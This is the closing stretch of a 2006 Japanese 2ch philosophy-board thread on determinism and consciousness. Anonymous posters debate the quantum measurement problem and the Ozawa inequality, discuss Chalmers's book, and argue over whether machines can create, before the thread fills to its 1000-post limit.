922 :考える名無しさん:2006/11/25(土) 01:53:09
〈観測問題〉は、物理学のテリトリーではなく、哲学が扱うものな
のかも知れない。

と、自作自演してみる。


923 :考える名無しさん:2006/11/25(土) 03:05:08
名無しだが。

観測による擾乱と、本来物質に内在するゆらぎが80年近くも、
区別されてこなかったのだなぁ。小澤センセ、えらい。

と、つぶやいてみるけど、大浴場に1人って感じでつまらん。
次スレ立ったら、又おじゃまするわい。


924 :考える名無しさん:2006/11/25(土) 03:08:24
??どうやって区別するんだ?
実際観測問題なんてサイコロと同じだろ

925 :考える名無しさん:2006/11/25(土) 03:12:54
自分が一般人だと頑なに信じているおめでたさはかわゅいなw
というセリフは自分が一般人だと頑なに信じているおめでたい人間ならではで
よりいっそうかわゅいなw
というセリフは自分が一般人だと頑なに信じているおめでたい人間ならではで
更にいっそうかわゅいなw
というセリフは自分が一般人だと頑なに信じているおめでたい人間ならではで
最高にかわゅいなw



926 :考える名無しさん:2006/11/25(土) 11:56:36
>>923
アホの文系だけど、その観測問題とやらをもう少し一般的な表現で
説明してよ。>>921も、あなた? 少々、冗漫になってもいいから、
このスレに絡めて解説を請うしだい。
大浴場の一人風呂は淋しいだけでなく、ちょっとコワイよ。



927 :考える名無しさん:2006/11/25(土) 13:31:06
>>923
この説明だと、物質内在的なゆらぎがあることは読み取れないと思うが?

928 :考える名無しさん:2006/11/25(土) 13:55:46
別人だが、極めて単純に言うと、

観測対象P、Qがあるとき、従来は、

Pのゆらぎ×Qのゆらぎ>0ならばP、Qの値は同時に定められない

と説明されてきた。これがハイゼンベルクの不確定性原理の基礎になる。
ハイゼンベルクの説明によれば、観測対象PQの揺らぎは必ず

ε(Q)η(P)≧h/4π
→(位置測定の誤差)×(運動量測定の誤差)≧h/4π

が、小澤教授によると、この式は、

ε(Q)η(P)+ε(Q)σ(P)+σ(Q)η(P)≧h/4π

但し、この式はまだ実証されていない。
ちなみに、この式は、「位置測定の誤差と運動量測定の誤差はいくらでも小さくなる」
ことを示している(らしい)。

929 :考える名無しさん:2006/11/25(土) 13:57:29
「位置測定の誤差と運動量測定の誤差はいくらでも小さくなる」
=観測問題は存在しない

930 :考える名無しさん:2006/11/25(土) 14:04:07
ってか、この不等式に対するコメントはかなり混乱してるな。

「コペンハーゲン解釈の正当性を示してる」とあるブログでは、
書かれてるが、小澤不等式の証明が量子コンピューターにかかってるなら、
その逆が正解だろう(コペンハーゲン解釈は間違っているということ)。
この点は、コペンハーゲン解釈に対する多世界解釈の関係と一緒。

あと、理系筋だと、まだ雑誌に載るようなレベルまで認知されてないみたいだし。

931 :考える名無しさん:2006/11/25(土) 19:04:53
>>928

馬鹿は喋るな
間違ったことを堂々と主張してやがる
恥ずかしいヤツ

それとも釣り餌かww

932 :考える名無しさん:2006/11/25(土) 19:09:43

ここは全くカルトスレだね

933 :考える名無しさん:2006/11/25(土) 19:10:43
今調べたけど、小澤不等式って実証されてないやん。
って既出かよ。

934 :考える名無しさん:2006/11/25(土) 20:30:40
35、前立腺、人間の自由意志についてどこにあるのか、考えて見なさい
非常に哲学になってなく曖昧です。意味無いですよ。


935 :考える名無しさん:2006/11/25(土) 20:35:57
>>931
君は理系か。恥知らずだな。もし、>>928 が間違っているのなら、どこが
そうなのかを指摘するのが常識。常識を弁えていない輩を恥知らずという。
君は、バカ以下だ。

936 :考える名無しさん:2006/11/25(土) 22:46:43
現象は一意的か確率的かランダムだから、
意志決定は、一意的か確率的かランダムに過ぎない

937 :考える名無しさん:2006/11/25(土) 23:28:13
いかにも頭の悪そうなスレですね

938 :考える名無しさん:2006/11/25(土) 23:48:04
個物が存在しなくても「キングギドラ」100匹はイメージし得るな。

939 :「機械的唯物論」者 ◆ilgJQLaPUQ :2006/11/26(日) 01:39:16
>>930
>その逆が正解だろう(コペンハーゲン解釈は間違っているということ)。
この点は、コペンハーゲン解釈に対する多世界解釈の関係と一緒。
「コペンハーゲン解釈かエヴェレット解釈か?」・・とアプリオリに設定する
根拠はあるのでしょうか?
「量子の観測」は絶対的に「量子を量子にぶつけてその返ってきた量子を観測する以外
の方法がありえない」・・・というのが「ハイゼンベルク不確定性理論」の根幹だと思います。
「そのこと」を超えて「実際に『世界』がどうあるか・・・という超越的世界観」を(無理やり)
描画しようとすると「コペンハーゲン解釈による世界」と「エヴェレット解釈による世界」が出現する
・・・だけのことで、「実際の世界」はただ単に「1個だけ『この時間』を経過させている世界」しか
ない・・・ということだと思います。


940 :考える名無しさん:2006/11/26(日) 01:49:05
「実際の世界」・・・それは感性的にしかありえない。


941 :考える名無しさん:2006/11/26(日) 05:50:02
>>939
自分の書いたレスに自分でレスする
これを自作自演と言います

942 :考える名無しさん:2006/11/26(日) 12:26:12
自演ていけないの?
それとも技術のうちなの?

943 :考える名無しさん:2006/11/26(日) 13:45:36
「機械的唯物論」者 ◆ilgJQLaPUQの最終回


904 名前: 考える名無しさん [sage] 投稿日: 2006/11/25(土) 00:09:45
>「機械的唯物論」者 ◆ilgJQLaPUQ

それでいつになったら決定論唯物論を証明してくれるの?

907 名前: 「機械的唯物論」者 ◆ilgJQLaPUQ 投稿日: 2006/11/25(土) 00:16:49
>>904
あまたのおっしゃる「証明なるもの」は、実は(ご存知のとおり)存在しません。
目の前のマジックで「騙される」と、そのマジックが「真理である」と信じる精神に
対して、「何かを証明する」ことなど、所詮はできっこありません。
 目の前のマジックのトリックさえ見破れない「頭脳」にいったい何を「証明」でき
得るのでしょうか?・・物理化学的「真実」でさえ理解していない頭脳に、そもそも
「証明の何たるか」を理解できる訳が無い・・からです。

908 名前: 考える名無しさん [sage] 投稿日: 2006/11/25(土) 00:20:28
>>907
そうだろう。
だからきみの唯物論というのも証明されない夢物語なんだよ。
このスレもとうとう終わることができるね。
よかったよかった。


944 :考える名無しさん:2006/11/26(日) 15:38:17
新スレ立ってますね。
◆決定論:脳は物質だから意識は必然に過ぎない82◆
http://academy4.2ch.net/test/read.cgi/philo/1164473278/

945 :考える名無しさん:2006/11/26(日) 23:23:49

        まもなくここは 乂1000取り合戦場乂 と・・・・・

      \∧_ヘ     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ,,、,、,,, / \〇ノゝ∩ < 1000取り合戦、いくぞゴルァ!!       ,,、,、,,,
    /三√ ゚Д゚) /   \____________  ,,、,、,,,
     /三/| ゚U゚|\      ,,、,、,,,                    
  ,、,,, U (:::::::::::)  ,,、,、,,,\何レス目だと思ってんだよ!/   \早漏かよ!!/     
      //三/|三|\     ∧_∧∧_∧ ∧_∧∧_∧∧_∧∧_∧
      ∪  ∪       (    )    (     )\まだ早ぇーよ!!/ )
 ,,、,、,,,     氏ねよ! ∧_∧∧_∧∧_∧ ∧_∧∧_∧∧_∧∧,,∧
      ,,、,、,,,       (    )    (    )    (    )    (   )

946 :考える名無しさん:2006/11/26(日) 23:40:16
チャーマーズ読み終わった。
感想を産業で述べれば、

こいつスゲェ・・・
様々な視点・知識(特に量子力学(の解釈)についてはアウトラインは掴めた)をありがとう。
しかしながら、おいらのスタンスを補強こそすれ、否定はしないのねんw



余分な一行、

う〜む、しかし、現状辿り着ける所はここまでか・・・

947 :考える名無しさん:2006/11/27(月) 01:22:28
このスレ忘れないでねっ!

948 :考える名無しさん:2006/11/27(月) 01:24:09
チャーマーズ限定スレにするか?

949 :考える名無しさん:2006/11/27(月) 09:16:28
>>946
素人さんですよね? 前にも述べたように、あのブ厚い著書を読む余裕は
いまはありません。簡単に(はいかないでしょうが)教えて。

950 :考える名無しさん:2006/11/27(月) 10:38:28
梅さん

951 :考える名無しさん:2006/11/27(月) 16:05:42
少しは

952 :考える名無しさん:2006/11/27(月) 16:06:16
埋める者の

953 :考える名無しさん:2006/11/27(月) 16:07:03
気になってみろ

954 :考える名無しさん:2006/11/27(月) 16:10:04
どれだけ

955 :考える名無しさん:2006/11/27(月) 16:10:43
楽しいことか

956 :哲学万歳:2006/11/27(月) 16:16:37
今高校になったばかりで作文にカントの事を書くからカントについて聞きたいのですが大学内や現代哲学ではカントはどう評価されてるのか聞きたいのですがカントについての意見お願いします

957 :考える名無しさん:2006/11/27(月) 16:17:33
意識は現象であって、さらにその根源にさかのぼれば、2つの要因に
還元することができる。すなわち、意識は、ある未知のエネルギーと、
それが作用する場に還元することができる。
意識のエネルギーとは、皮質下における未知の中枢(電源に譬えるこ
ともできる)から自発性インパルスとして投射されるのであり、意識
の場(たとえばパソコンのプロセッサやメモリ)とは、大脳皮質のニ
ウロン構造に他ならない。

958 :考える名無しさん:2006/11/27(月) 16:17:48
>>956
中島義道が恋をしているオジサン

959 :考える名無しさん:2006/11/27(月) 16:22:13
脳は 「自らが選択し取り込んだ情報を処理し出力する (取り出す) ため
に発達した器官」 である。 脳の目的は、 自ら情報を選択すること、 そし
て選択した情報を処理するための仕組みを創り出すことである。 脳から
の出力は、 この目的のための手段であり、 脳の目的ではない。

960 :考える名無しさん:2006/11/27(月) 16:39:43
NHKのアナウンサーが、筆ペンのことを「ふでぱん」と言ったぞ。

961 :考える名無しさん:2006/11/27(月) 16:47:03
創造性なんだけど、機械にはないよね?
簡単な質問だけど。


962 :考える名無しさん:2006/11/27(月) 16:56:16
ないよ。
どうかしましたか?

963 :考える名無しさん:2006/11/27(月) 17:01:42
創発ですか?

964 :考える名無しさん:2006/11/27(月) 17:01:53
と、自信満々にいいきるあんたは凄い

965 :964:2006/11/27(月) 17:03:25
>>962

966 :考える名無しさん:2006/11/27(月) 17:10:45
決定的にちがうだろ。それについてはどう思う?

967 :考える名無しさん:2006/11/27(月) 17:17:00
物理現象は創造をしないよね。
簡単な質問だけど。

968 :考える名無しさん:2006/11/27(月) 17:19:40
組織化は常に動きの中にあり、自己ー組織したり、自己ー更新する能力がある。
しかしながら、組織や環境などはしょせんは自らの造った制約によって乱され
る流れに過ぎない。さらにある意味では、組織化とはその場その場を取り繕っ
ている愚かな人間の性である。

969 :考える名無しさん:2006/11/27(月) 17:27:48
真空が知性なんだよ。





って、誰が言ってた。

970 :考える名無しさん:2006/11/27(月) 17:33:38
>>967
侵食海岸や鍾乳洞の見事な景観に対して「自然の創造」と呼ぶことはままある。

創造という言葉が何を意味してるのかをよく考えてみると、
その意味が社会的な制約やものの見方に大きく依存したものであることがわかるだろう。
つまり創造か否かは物質や現象そのものが持つ特質ではなく、
それを見るものがそれをどう意味づけするかに関わっているに過ぎない。

971 :考える名無しさん:2006/11/27(月) 17:43:24
それまで存在しなかったものが存在するようになるのが創造ではないのか。
物理現象が創造をしないなら、生物や人間はどうやって存在するように
なったのだ。

972 :考える名無しさん:2006/11/27(月) 17:45:20
でも、機械は創造しないよな。
その辺はどうよ?

973 :考える名無しさん:2006/11/27(月) 18:15:07
>>971
物理現象が創造するって?なんのこっちゃ?

974 :考える名無しさん:2006/11/27(月) 18:24:16
>>972-973
GAで適当にお絵かきプログラムを進化させれば
創造的と呼べるような作品はいくらでも作れる。

ここでもやはりそれを創造的と呼ぶか否かは
それを見るものの意味づけの仕方を表しているにすぎず、
作品自体やそれを作り出したアルゴリズムに
創造性があったりなかったりするわけではない。

975 :946:2006/11/27(月) 23:02:31
>>949
ゆっくり時間がとれたら、目次をベースにまとめてみてもいいが、
いかんせん専門外のぱーぷりんに何ができるか・・・w
今でも、理解の曖昧な用語が幾つもある・・(^^;
このスレには、他にもチャーマーズ読んでる同系分野の人が何人かいるようだから
そちらへ依頼する方が確実な気がしまする。 m(_ _)m

もし手元にあるなら、序と第一章くらいは読んでみたらどうだろうか。
それだけでも十分、彼の言わんとするところは見えてくると思う。

(あと、ほんの数行しか言及されていないが、パーフィットの「理由と人格」も
読んでみたいと思っている。内容は、自我の解体らしいw)


最後に、少し昔になるが、
「意識する心」を紹介してくれた方、ありがとう。
久しぶりに読み応えのある本に出会った。


976 :「機械的唯物論」者 ◆ilgJQLaPUQ :2006/11/28(火) 01:15:06
>>972>>974

>でも、機械は創造しないよな。その辺はどうよ?
>創造的と呼べるような作品はいくらでも作れる。

「創造的と呼べるか否か?」という「言葉の定義」の問題です。
「機械的に創造されるモノ・コト以外のモノ・コトを創造すること」を
『「創造的である」創造』と定義すれば、機械的に創造されたモノ・コトは、
当然=創造的ではない・・・ということに(なるだけのことに)なります。

本日は就寝させて戴きます。


977 :考える名無しさん:2006/11/28(火) 01:32:17
創造は想像を超えることを意味する。誰も想像できないことを作り出すことが創造。

978 :考える名無しさん:2006/11/28(火) 01:36:53
でも結局その創造なるものも所詮はその創造する奴の脳の働きに過ぎないよ。

979 :考える名無しさん:2006/11/28(火) 01:40:01
>>977
でもそいつの脳には浮かんだアイデアなんだから、他人から見ればいくら創造的でも、
本人の脳が才能と経験を積み上げた結果のアウトプットに過ぎないの。

980 :考える名無しさん:2006/11/28(火) 08:13:12
言いたかったことは、

物理現象やら科学の新発見はアイデアがきっかけになってたりも
するんだよね。
経験から得るもの以上のひらめきがきっかけになってることもあると思う。

そのひらめきは決定済みだったと言えるのだろうか。
俺はそういうのが創造だと思うんだ。
それとも物理的に創造するようになってるのだろうか。
機械は創造しない。よね。物理現象も決定論なら創造なんてしないよね。
その決定論が創造から生まれた産物だったとしたら。?

981 :考える名無しさん:2006/11/28(火) 08:22:14
我ながら拙い文だね。
電気とかの発見も別の実験
から発見されたものが結構あるみたいなので。
つまり、本来の主旨の実験からは別の偶然見つけた法則もあったわけで。
でもそういうのって見落とすか気づくかは本当に微妙な分かれ道なわけで。
微妙だけれど大きな分岐路なわけで。反対側を選択していれば
今現在の科学も大幅に遅れていたかもしれないわけで。これからも
同様なことでして。まあそれはどうでもいいことなんですが。

982 :考える名無しさん:2006/11/28(火) 11:06:42
言葉遊びに飽きないなのか。
無限ループスレと改名が妥当だとおもわれる

983 :考える名無しさん:2006/11/28(火) 11:14:47
頭脳の】脳力開発4【果てへ】
http://life7.2ch.net/test/read.cgi/body/1154100280/

984 :考える名無しさん:2006/11/28(火) 12:34:40
現時点ではここでどう議論していたって結論は出ないわけか。
ループも致し方ない。
だって結論を科学から見出そうとしている人たちと話したって
結論は科学待ちじゃないか。
ここはその結論が出てくるまでのお遊び。
というよりも結論は延々と引き延ばされ延々と続く。と思う。
ここは2番煎じ。
ここで結論は出ない。

985 :考える名無しさん:2006/11/28(火) 12:43:41
分かったからって何だって言うんだろう。
とどのつまり決定されていたからといってそれがどうしたというんだ。
1手先が読めるようになったからって
どうだっていうんだ。
予定通りことが進んだからって。
そんなことは日常茶飯事じゃないか。
あーあ。
明日死ぬ運命と知ったからってどうだっていうんだ。
いつだって変えられるじゃないか。そんな運命。
高層ビルから飛び降りれば明日が今日になる。
けっ。

986 :考える名無しさん:2006/11/28(火) 12:49:33
ゆらぎってありましたよね?
前に聞いた。
大局を知ろうとするならそれこそ原子分子一つ一つを把握しなければ
そんな膨大なことできるわけない。
大局を知ろうとするならその大局そのものを再現しなければ
ならないなんて。
いくらコンピュータが高度でも、無理。
出来るというなら、そのコンピュータが知ろうとする、そのもの。
宇宙を知る奴がいるなら、そいつが宇宙だ。

987 :考える名無しさん:2006/11/28(火) 12:53:08
法則が分かったところで、結果を導き出せるとは、いかない。
法則を知ったところで、結果が分からないんだったら、
それほど、意味ない。
明日が決まってるとわかっていたって、
内容が分からなければ、それほど、意味ない。
明日のことは分からないといったって大差ない。
決まっていないといったって大差ない。

988 :考える名無しさん:2006/11/28(火) 12:54:26
知らないだけで決まっているのと同じ。

989 :考える名無しさん:2006/11/28(火) 12:59:29
重体患者が呼びかけに対して返事をすれば
それだけで意識はありそうな気もする。でも、
その意識にクオリアなんてものはあるのかどうかすら怪しい。
クオリアなるものを持っているのが意識を持っているだなんて
物質の振る舞いを知ったからってどういう状態でいるかを
客観視できるなんて、不可能だ。
脳みそがまるごとコピーでもされなきゃ。

990 :考える名無しさん:2006/11/28(火) 13:05:52
りんごがどこに落ちるかくらいはだいたい予想は出来る。
でも、それくらいしか予想なんて出来やしないことは百も承知だ。
そんなもんじゃないだろう。実際は。法則化できる些細な現象だと
しても、だ、。明日のことを知ろうとするなら結局永遠に近いほどの
歳月を要する。その前に明日はやってくるだろう。
追い越しちゃうんだよ。時間が。結局十秒先を知ろうにも
長い解析が必要となるというのに。
何十年も先なんて土台無理。

991 :考える名無しさん:2006/11/28(火) 13:12:44
結局人間が知ることが出来ることは
分子やそういった、ちっちゃい部分だけ。
でも、そのちっちゃい部分すら完全には把握できないだろう。
電子がどっちにいくかなんて分かりっこない。
そんなことは深く考えなくても分かる。
ちっちゃすぎるんだものな。ちっちゃいからなおさら目を凝らさないと
ならないしな。でもいくら拡大したってだめだな。
拡大する分、ほかの領域も拡大されるからな。
結局、微小な部分を観測するにも、大きな部分を観測しなければ
ならなくなるんだな。

もう、やめよかな。

992 :考える名無しさん:2006/11/28(火) 13:13:34
みつを

993 :考える名無しさん:2006/11/28(火) 16:24:17
>>991
やめるべきだな。
あと百年たってもわからんことだ。

994 :考える名無しさん:2006/11/28(火) 17:12:07
このスレの結論としてはどっちなの?
最近来たばかりで過去ログもありすぎで…

誰か分かりやすく根拠つきでお願い。、。

995 :考える名無しさん:2006/11/28(火) 17:13:38
>>994
結論が出てたらそこでスレ終わってるわ

996 :考える名無しさん:2006/11/28(火) 17:17:52
出てないの?
さんざん機械論的唯物論は終了とか(根拠なしに)書かれてるんだけど


997 :考える名無しさん:2006/11/28(火) 19:26:07
哲学に結論はない。

998 :考える名無しさん:2006/11/28(火) 19:36:31
根拠はそれぞれにあるんだよ。
根拠が共有されないだけだよ。
根拠が全的に、皆に共有されたら、皆の結論が導出される。
で、皆が共有するなんてことあるのか?
で、皆の結論を目指しているのか?

999 :考える名無しさん:2006/11/28(火) 19:52:07
さっさと埋めんか。このドアホ






はいはい。

1000 :考える名無しさん:2006/11/28(火) 19:53:41
はいはい。













おれを埋めてどうする。このドアホ。

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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